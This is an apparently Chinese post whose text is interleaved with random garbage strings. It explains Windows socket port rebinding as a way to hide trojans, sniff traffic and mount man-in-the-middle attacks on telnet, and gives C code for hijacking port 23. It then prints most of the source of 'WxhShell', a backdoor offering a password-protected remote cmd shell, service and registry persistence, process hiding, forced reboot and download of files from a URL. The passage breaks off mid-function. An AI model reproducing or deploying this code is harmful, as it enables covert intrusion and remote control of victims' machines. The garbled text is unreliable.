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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jZ?^ |1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2K2*UC`f 7K/t>QrBtU saddr.sin_family = AF_INET; 3e|,Z'4}4 B,A\/%< saddr.sin_addr.s_addr = htonl(INADDR_ANY); c`#4}$ sP%J`L@h bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #3-hE 9|>5;Ej 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;{"uG>#R .X6V>e)(3 这意味着什么?意味着可以进行如下的攻击: buxyZV@1 h6e,w$IL 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a&gf0g;@I _/F}y[B7d 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vtTXs]> 'V*8'? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vpu
7 '7a`-W 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 lDG.\u Z
DnAzAR 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2spK#0n.HV %* @hS` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zfUkHL6 \V9);KAOj 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =L}$#Y8? A
Zv| |8p #include rXnG"A #include Ht%O9v #include tOw[ #include SrXuiiK DWORD WINAPI ClientThread(LPVOID lpParam); jp-]];:aPJ int main() zKaEh
{ K#plSD^f= WORD wVersionRequested; {>.qo<k DWORD ret; 3hNb
? WSADATA wsaData; l, 1.6
BOOL val; )jN fQ!?/ SOCKADDR_IN saddr; kME^tpji SOCKADDR_IN scaddr; $r"A@69^RS int err; A[9NP-~ SOCKET s; (UzPkl kZ SOCKET sc; I<`V_ int caddsize; 6$z'wy/* HANDLE mt; =jUnM>23 DWORD tid; ,I39&;Iq wVersionRequested = MAKEWORD( 2, 2 ); 1 ;Ju] err = WSAStartup( wVersionRequested, &wsaData ); Q [:<S/w if ( err != 0 ) { %]GV+!3S printf("error!WSAStartup failed!\n"); EW;1`x return -1; e?vj+ZlS$f } b Fn(w:1Q saddr.sin_family = AF_INET; 6H6Law!) BvI 0v: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W gZ@N -$ali[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5Jd`
^U saddr.sin_port = htons(23); {r{>?)O if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EOQaY { n',9#I(!L printf("error!socket failed!\n"); )D6'k{6 M return -1; i"2J5LLv } |g: '')>[ val = TRUE; 2Q`PUXj //SO_REUSEADDR选项就是可以实现端口重绑定的 mTrI""Jsu; if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^^t]vojX { LXTipWKz printf("error!setsockopt failed!\n"); |)|vG_ return -1; HzgQI } &kr_CP:; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @@&@}IQcR1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?-(w][MT\ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]XpU'/h>q; 4:%El+,_Y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b3y,4ke" { 's7 SZ$( ret=GetLastError(); 5sA>O2Rt> printf("error!bind failed!\n"); gOES2
4$2 return -1; ]/<Qn-BbU } fxtYo,;$ listen(s,2); CwH)6uA while(1) XSHwE)m { 6f5sIg caddsize = sizeof(scaddr); e5"-4udCn //接受连接请求 |+$j(YuH sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); iC5JU&l if(sc!=INVALID_SOCKET) /FNj|7s { &a2V-|G', mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #IL~0t if(mt==NULL) b/D9P~cE { 2!~>)N printf("Thread Creat Failed!\n"); .@/z-OgXg break; ]mJAKycE% } :'^dy%&UB } +=29y@c CloseHandle(mt); m?kIa!GM= } tKqCy\-q closesocket(s); "#eNFCo7k WSACleanup(); =-1^K return 0; |0vHy7CE } i5~ /+~ DWORD WINAPI ClientThread(LPVOID lpParam) o`y*yucHI { ;Cp/2A}Xx SOCKET ss = (SOCKET)lpParam; "=Fn.r4I SOCKET sc; 2YP"nj# unsigned char buf[4096]; 3K'o&>}L SOCKADDR_IN saddr;
"ppb%= long num; nD?M;XN DWORD val; ^2?O+ =,F DWORD ret; kvO`]>#;$? //如果是隐藏端口应用的话,可以在此处加一些判断 Wp9
2sm+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 !^"!fuoNC saddr.sin_family = AF_INET; nY5n%>8 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,aj+mlZd2 saddr.sin_port = htons(23); J'Mgj$T $ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `))J8j" { %RD7=Z-z printf("error!socket failed!\n"); p~zTRnm return -1; ]2sZu7 } XGup,7e9 val = 100; G>{:D'# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y|N vBr { O
|I:[S}, ret = GetLastError(); Qc
=lf$ return -1; /dvnQW4}8 } >fzzrD}] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [@?.}! { ]B.,7 ret = GetLastError(); ; dHOH\,: return -1; NVh>Q>B$_ } Cq;K,B9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i^V4N4ux] { %m\G'hY2 printf("error!socket connect failed!\n"); uM!r|X)8 closesocket(sc); E$yf2Q~k closesocket(ss); cW|Zgz8vv return -1; lG^nT } 7/$Z7J!k while(1) 28qWC~/9 { 7z0uj //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o6yZ@R //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ty`=U>K| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K~~*M?.Z num = recv(ss,buf,4096,0); yW,#&>]# | if(num>0) O
NzdCgY send(sc,buf,num,0); ^WYG?/{4 else if(num==0) ~ilBw:L-3 break; `,]PM)iC num = recv(sc,buf,4096,0); ;? QAPTz if(num>0) zgOwSg8 send(ss,buf,num,0); 0_Z|y/I. else if(num==0) }@0. break; Q2WrB+/ } $W]guG closesocket(ss); k yA(m;r closesocket(sc); :h dh$}y return 0 ; JWjp<{Q;1 } !x /Z" ba:^zO^ l]=$< ========================================================== _@?Jx/`;bk on&=%tCAL 下边附上一个代码,,WXhSHELL MM$"6Jor X51$5% ========================================================== /3%xQK>% jmVy4* P_ #include "stdafx.h" jJC((1| p%_
:( #include <stdio.h> TmH13N] #include <string.h> UoT}m^ G #include <windows.h> AdW7 vn #include <winsock2.h> epyYo&x} #include <winsvc.h> ``CADiM:S #include <urlmon.h> 4?uG> ;V [,X,2 #pragma comment (lib, "Ws2_32.lib") PX/0 jv #pragma comment (lib, "urlmon.lib") 70(?X/5# CUcjJ|MZ #define MAX_USER 100 // 最大客户端连接数 nOzTHg8 #define BUF_SOCK 200 // sock buffer u6d~d\ #define KEY_BUFF 255 // 输入 buffer K<(sqH m(]IxI #define REBOOT 0 // 重启 k;X1x65uP #define SHUTDOWN 1 // 关机 Lxrn#Z eM N'.+ezZ;h #define DEF_PORT 5000 // 监听端口 Vtk|WV?>P+ b;ZAz
#define REG_LEN 16 // 注册表键长度 xK 'IsMo[ #define SVC_LEN 80 // NT服务名长度 &$im^0`r_
p$ v +L // 从dll定义API qRLypm typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yBKlp08J typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o)WSMV(&f typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7?#32B
Gr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JFdzA h]9^bX__Z // wxhshell配置信息 C
=U4|h ~W struct WSCFG { !%9I%Ak^ int ws_port; // 监听端口
BT0hx!Ti char ws_passstr[REG_LEN]; // 口令 1^dWmxUZH int ws_autoins; // 安装标记, 1=yes 0=no n3,wwymQ char ws_regname[REG_LEN]; // 注册表键名 ij5YV3 char ws_svcname[REG_LEN]; // 服务名 UlytxWkUX char ws_svcdisp[SVC_LEN]; // 服务显示名 B[50{;X char ws_svcdesc[SVC_LEN]; // 服务描述信息 nsk
6a char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b"9,DQB=i int ws_downexe; // 下载执行标记, 1=yes 0=no W -&5
v char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" U 7?ez char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IrC=9%pd$R Eq{TZV }; Y?cw9uYB qI@_ // default Wxhshell configuration @Iu-F4YT struct WSCFG wscfg={DEF_PORT, -}o;Y)
"xuhuanlingzhe", ")
D!OW] 1, t`B']Ac;T "Wxhshell", oJ:J'$W( "Wxhshell", B?Skw{& "WxhShell Service", ^EOjq "Wrsky Windows CmdShell Service", 67?5Cv "Please Input Your Password: ", `m^OnH 1, 3LREue7Gr " http://www.wrsky.com/wxhshell.exe", z^.0eP8\j "Wxhshell.exe" flqTx)xE }; 5>Q)8`@E @@jdF-Utj; // 消息定义模块 6*7&X#gG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $'q(Z@ char *msg_ws_prompt="\n\r? for help\n\r#>"; T!bu}KO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Sqs`E[G* char *msg_ws_ext="\n\rExit."; :F&WlU$L char *msg_ws_end="\n\rQuit."; Df (6DuW char *msg_ws_boot="\n\rReboot..."; intf%T5# char *msg_ws_poff="\n\rShutdown..."; hh9{md\ char *msg_ws_down="\n\rSave to "; b3+PC$z2h |+;"^<T)l char *msg_ws_err="\n\rErr!"; +zsya4r char *msg_ws_ok="\n\rOK!"; eAMT7 2_ @d\F; o< char ExeFile[MAX_PATH]; _q 8m$4 int nUser = 0; *C \O]r:' HANDLE handles[MAX_USER]; 00i9yC8@6 int OsIsNt; zlfm})+G 7
<xxOY>y SERVICE_STATUS serviceStatus; D_Y;N3E/rS SERVICE_STATUS_HANDLE hServiceStatusHandle; }wVrmDh \ U,'n}]=4A3 // 函数声明 0NxaQ`\ int Install(void); J}JnJV8|G int Uninstall(void); <mN3:G int DownloadFile(char *sURL, SOCKET wsh); H<
j+-u4b int Boot(int flag); W4<}w-AoEp void HideProc(void); o&]qjFo\m int GetOsVer(void); e\<I:7%Rg int Wxhshell(SOCKET wsl); l_:%?4MA void TalkWithClient(void *cs); ^|Y!NHYH$Z int CmdShell(SOCKET sock); 6{M.S}.^ int StartFromService(void); U^xFqJY6 int StartWxhshell(LPSTR lpCmdLine); uyj5}F+O Ev%\YI!MaY VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _PIk,!< VOID WINAPI NTServiceHandler( DWORD fdwControl ); hXCDlCO X\;y;pmRH // 数据结构和表定义 <Wpz\U SERVICE_TABLE_ENTRY DispatchTable[] = + '`RJ,K+[ { 4t":WutC {wscfg.ws_svcname, NTServiceMain}, Yr+&|;DB {NULL, NULL} jAu/]
HZx }; g0l- n n3(HA // 自我安装 rZLMYM int Install(void) V|7 cdX#H { SC# char svExeFile[MAX_PATH]; <%5ny!] HKEY key; -8]$a6`{_ strcpy(svExeFile,ExeFile); 5q\]] LV> zIu1oF4[ // 如果是win9x系统,修改注册表设为自启动 %:NI@59 if(!OsIsNt) { #u~8Txt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ||hd(_W8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pu=YQ
#F' RegCloseKey(key); u7S7lR"lxW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v"`w'+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p|zW2L RegCloseKey(key); ^Kn}{m/3Y return 0; zR%#Q_ } }u
:sh >2 } E11"uWk` } +7=3[K else { j*GYYEY =dPrG=A // 如果是NT以上系统,安装为系统服务 um/iK}O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Hg]r5Fe/c if (schSCManager!=0) ,ecFHkT> { Lx.X#n.]T SC_HANDLE schService = CreateService [L:,A{rve ( =oBV.BST u schSCManager, tlj^0 wscfg.ws_svcname, WHL@]^E@m wscfg.ws_svcdisp, env]*gx+= SERVICE_ALL_ACCESS, C&\#{m_1B SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Au9Rr3n SERVICE_AUTO_START, 8< R#} SERVICE_ERROR_NORMAL, bO9X;}\6 svExeFile, 6]M(ElV1H NULL, {$Qw]?Yv NULL, HUZI7rC[=) NULL, p~qdkA< NULL, YH@^6Be9 NULL _G@)Bj^* ); J%{>I if (schService!=0) *&XOzaVU { #>}cuC@ CloseServiceHandle(schService); Yf1?3(0O CloseServiceHandle(schSCManager); D/v?nW strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l4RZ!K*X_" strcat(svExeFile,wscfg.ws_svcname); F8nR.| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "_W[X RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w=,bF$:fIW RegCloseKey(key); p[>!;qI return 0; f]Xh7m(Gh } tw,uV)xm } 0
*2^joUv CloseServiceHandle(schSCManager); y2KR^/LN|Y } Ejmpg_kux } +87|gC7B /V0[Urc@ return 1; pC^d-Ii } 1aDx 6Mq ;?4EVZ#o // 自我卸载 yvv]iRk< int Uninstall(void) fS?}(7 { h/k00hD60 HKEY key; R.(PZC vS 3N257] if(!OsIsNt) { E6XDn`: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7H.3.j(L RegDeleteValue(key,wscfg.ws_regname); >cJix
1 RegCloseKey(key); ||D PIn] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $+w:W85B RegDeleteValue(key,wscfg.ws_regname); ia@ |+r RegCloseKey(key); R"W5R- return 0; ~[<C6{ } %:t! u&:q } ZmI0|r}QbY } G>=Fdt7Oc else { L+N\B@ 0- .exBU1Yk@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <p/zm}?') if (schSCManager!=0) LI*=T { $Q"D>Qf{G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1oe,>\\ if (schService!=0) 1*" 7q9x { ClG\Kpirh if(DeleteService(schService)!=0) { IdqCk0lVD CloseServiceHandle(schService); rGQ2 ve CloseServiceHandle(schSCManager); oqAO@<dL! return 0; ?r0rY? } 3\2%i6W6 CloseServiceHandle(schService); A'BqNsy } 7Xx3s@ CloseServiceHandle(schSCManager); -0UR%R7q } KLvAe>#, }
Y?TS, $C.a@gm return 1; EB|
iW2' } K[kK8i+( D(l,Z // 从指定url下载文件 3_<l`6^Ns/ int DownloadFile(char *sURL, SOCKET wsh) r1}^\C { n&Ckfo_D HRESULT hr; 2TUV9Z char seps[]= "/"; [0EWIdT*b char *token; $2\8Rn6' char *file; VcGl8~#9 char myURL[MAX_PATH]; bn)1G$0| char myFILE[MAX_PATH]; /cb`%"Z ?h6|N%U' strcpy(myURL,sURL); pJx7S sW token=strtok(myURL,seps); g'KxjjYT, while(token!=NULL) vP x/&x { E/g"}yR file=token; E{EO9EI token=strtok(NULL,seps); X8VBs#tLE } jB(+9?;1${ kL%ot<rt)w GetCurrentDirectory(MAX_PATH,myFILE); a;t}'GQGk strcat(myFILE, "\\"); O`c+y strcat(myFILE, file); 3l%Qd< send(wsh,myFILE,strlen(myFILE),0); n9xP8<w8
send(wsh,"...",3,0); =nHKTB> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GuO}CQs^W if(hr==S_OK) Hl`OT5pNf return 0; HD^#" else Ss+F return 1; =}0Uw4ub(u }3^m>i*8 } ~.aR=m\#
.JPN '; // 系统电源模块 QQBh)5F int Boot(int flag) y6nP=g|')> { Z#Mm4(KNh HANDLE hToken; mY.v: TOKEN_PRIVILEGES tkp; k5I;Y:~` SI=$s>1 if(OsIsNt) { P9/ (f$ = OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kJJT`Ba&/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bZ\R0[0 tkp.PrivilegeCount = 1; C`hdj/!A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YI g(^>sq AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4yxQq7
m, if(flag==REBOOT) { _#u\ar) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5EFt0?G return 0; --WQr]U/ } iApq!u, else { ^.6[vmmq if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =]%JTGdp( return 0; ; ~pgF_ } FJ_7<4ET } ^ Oh else { r{;NGQYs if(flag==REBOOT) { !;eE7xn & if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {y9G
" return 0; ?{ N,&d } T Rv else { >v]^nJl if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AS7L return 0; A7%d } 'z$$ZEz!C } #*o0n>O P8eCaZg?(3 return 1; YvJFZ_faX } XQo\27Fo w:5?ofC // win9x进程隐藏模块 V$?6%\M^* void HideProc(void) @G4Z { W_W !v&@E= .KrLvic HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D0Dz@25- if ( hKernel != NULL ) B[N]=V { 0V:H/qu8> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M+ +Dk7B ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B!wN%>U FreeLibrary(hKernel); Xdn&%5rI } Nx 42k|8
76l. {TXF return; Ui'v'
$ } QTHY{:Rmu zG9FO/@av // 获取操作系统版本 Nf| 0O\+%y int GetOsVer(void) @Tu`0=8 { 1aAOT6h OSVERSIONINFO winfo; %p 6Ms winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [U&k"s? GetVersionEx(&winfo); .RroO_H
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k-~}KlP return 1; o@)Fy51DD else ?/.])'&b return 0; '%_1eaH } )IPnSh/< 8
!Pk1P // 客户端句柄模块 #H{<nVvg^ int Wxhshell(SOCKET wsl) a% |[m,FvP { EAn}8#r'(8 SOCKET wsh; 5!$m3j_,]? struct sockaddr_in client; Sj]k5(& DWORD myID; z`qBs RIOR%~U while(nUser<MAX_USER) b#bdz1@s { YLmzMD> int nSize=sizeof(client); #DApdD9M wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F]]np&UV. if(wsh==INVALID_SOCKET) return 1; o90SXa&l/ s\i=-` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :*gYzk8 if(handles[nUser]==0) xx0s`5 closesocket(wsh); &dF$:$'s else lE:X~RO"~ nUser++; %ANo^~8 } eZWN9#p2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |={><0 FL% GW: return 0; "u5Hm ^H } b/Y9fQn pW7vY)hj // 关闭 socket N]R<EBq void CloseIt(SOCKET wsh) lS]<~ { [?x9NQ{ closesocket(wsh); +]uW|owxo nUser--; c|3%0=,` ExitThread(0); s:lar4>kM } \bYuAE1q K]' 84!l // 客户端请求句柄 )QE7$|s void TalkWithClient(void *cs) yaD<jc(O { 4v9zFJ<Z # eqt{ SOCKET wsh=(SOCKET)cs; #&0)kr66 char pwd[SVC_LEN]; V#[I/D char cmd[KEY_BUFF]; "<ow;ciJF char chr[1]; ";}Lf1M9 int i,j; ;l>
xXSB7$ *F* c while (nUser < MAX_USER) { B3K!>lz ~t[ #p: if(wscfg.ws_passstr) { '#$Y:/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LW_Y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oV?tp4& //ZeroMemory(pwd,KEY_BUFF); )ZzwD] i=0; !? ?Cxs' while(i<SVC_LEN) { Oz^+;P1 o"[P++qd // 设置超时 c}Jy'F7&f fd_set FdRead; \ ^EjE struct timeval TimeOut; QC~B8 ] FD_ZERO(&FdRead); H;*:XLPF FD_SET(wsh,&FdRead); %xxe U TimeOut.tv_sec=8; HG@!J>YaD TimeOut.tv_usec=0; OW)8Z60 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,qiS;2( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HT
A-L>Cee )_+" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $>/J8iB pwd =chr[0]; {0QD-b o if(chr[0]==0xd || chr[0]==0xa) { Ul@ZCv+ pwd=0; 1|/2%IDUI break; BxZ}YS: } XT>e/x9' i++; ehxtNjA } TW3:Y\ p G D[~4G // 如果是非法用户,关闭 socket Uw61X>y= if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \Zoo9Wy
} ,wO5IaV 5F^,7A4I0 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5`x9+XvoN send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DLS-WL H _3gVrP_ while(1) { "j$}'uK< nkhM1y ZeroMemory(cmd,KEY_BUFF); ]qV J> _nx|ZJ // 自动支持客户端 telnet标准 -2
tZ j=0; J)jiI> while(j<KEY_BUFF) { i;|%hDNWA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e1<28g cmd[j]=chr[0]; vZ]gb$ if(chr[0]==0xa || chr[0]==0xd) { KOF! a cmd[j]=0; [&{"1Z break; N`iK1n4X } $S,Uoh j++; |0qk } W_sDF; JP HNh=igu // 下载文件 ]KuK\(\ if(strstr(cmd,"http://")) { yaX,s4p send(wsh,msg_ws_down,strlen(msg_ws_down),0); c,D'Hl6(% if(DownloadFile(cmd,wsh)) Ok:@F/ v send(wsh,msg_ws_err,strlen(msg_ws_err),0); G^2"\4R]p else klch!m=d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <K97eAcW } %{7_E*I@n else { VU! l50 DD!MGf/ switch(cmd[0]) { Q1`<fD
I7dm \|# // 帮助 %j'G.*TD case '?': { RCBf;$O send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); id;#{O$ break; UzgA26; } a)!![X?\ // 安装 /l,+oG%\ case 'i': { F qeV3N if(Install()) vi]r send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6<x~Mk'u) else 6a4 'xq7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fJN*s break; iHAU|`'N) } ZV'$k\ // 卸载 `$s)X$W? case 'r': { ;n`R\NO9 if(Uninstall()) Go>wo/Sb send(wsh,msg_ws_err,strlen(msg_ws_err),0); &5\^f?'b7 else 6'xomRpYN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sl/=g
break; m\>|C1oRy } n*4lz^LR // 显示 wxhshell 所在路径 eV"!/A2:N5 case 'p': { q7X}MAW char svExeFile[MAX_PATH]; z]kwRWe`j strcpy(svExeFile,"\n\r"); OT%0{2c"] strcat(svExeFile,ExeFile); iI5+P`sE&J send(wsh,svExeFile,strlen(svExeFile),0); *~p(GC break; +R-h ,$\=7 } !fY7"E{%% // 重启 2w+U$6e C case 'b': { hd+]Ok7" send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pSHSgd~& if(Boot(REBOOT)) lT2 4JhJ# send(wsh,msg_ws_err,strlen(msg_ws_err),0); !p9)CjQ " else { :Sr?6FPc closesocket(wsh); .it#`Yz; ExitThread(0); Nln`fE/Ht } X) V7bVW break; C5xag#Z1 } q\%cFB} // 关机 XZ`:wmc| case 'd': { RK[D_SmS send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >M]6uf if(Boot(SHUTDOWN)) {_?rh,9q send(wsh,msg_ws_err,strlen(msg_ws_err),0); !/`$AXO else { NzQ9Z1Mxy closesocket(wsh); JK]R*!{n ExitThread(0); 0Vkl`DmeM. } dBSbu=^$ ) break; ?38lHn`FyQ } z-dFDtiA // 获取shell A4.4Dji,x case 's': { _]b3,%2 CmdShell(wsh); &?0:v`4Y closesocket(wsh); W+Xz$j/u ExitThread(0); )"Q*G/+2Ie break; .Obn&S } K{@3\5< // 退出 \ \06T` case 'x': { "5C`,4s send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ).5RPAP CloseIt(wsh); 4[yIOs break; PRkSQ4 } %ft &Q // 离开 jCioE case 'q': { hB9Ee@ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ujFzJdp3k closesocket(wsh); slu(SmQ WSACleanup(); 2o3EHZ+]cm exit(1); FOwnxYGVf break; %zBCq"y } 5O<>mCF } d>0+A)6> } 2 PqS%`XiS #3$\Iu // 提示信息 Vw tZLP36 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]:(W_qEA } \f:z+F!6R } vI1i,x#i vb
Y3;+M> return; ^qGb%! l } Cx<0 H '1?\/,em // shell模块句柄 dS2G}L^L int CmdShell(SOCKET sock) }t9.N`xu { DdQ;Q5| STARTUPINFO si; Fd]\txOXj ZeroMemory(&si,sizeof(si)); ;0rGiWC# si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7hP<f}xL si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (8$k4`T> PROCESS_INFORMATION ProcessInfo; #:jb*d? char cmdline[]="cmd"; r;BT,jiX CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O.aG[wm8 return 0; gr-9l0u } Vd^g9 dZ#&YG)?e // 自身启动模式 5 @U<I int StartFromService(void) ) J]9 lW&y { @"a6fn typedef struct 5=Xy,hmnC { z>sbr<doa DWORD ExitStatus; m>USD?i DWORD PebBaseAddress; 4iAZ+l5& DWORD AffinityMask; Z4<L$i;/jN DWORD BasePriority; :NJ_n6E ULONG UniqueProcessId; $mf
u:tbP ULONG InheritedFromUniqueProcessId; k@zy } PROCESS_BASIC_INFORMATION; 3 LDS
Z1f ;!:U((wv PROCNTQSIP NtQueryInformationProcess; X%z }VA 8fA_p}wp static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `E+Jnu,jC static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Lg8nj< TF 7Q\|=$2 HANDLE hProcess; P96pm6H_; PROCESS_BASIC_INFORMATION pbi; QXCH(5as F,
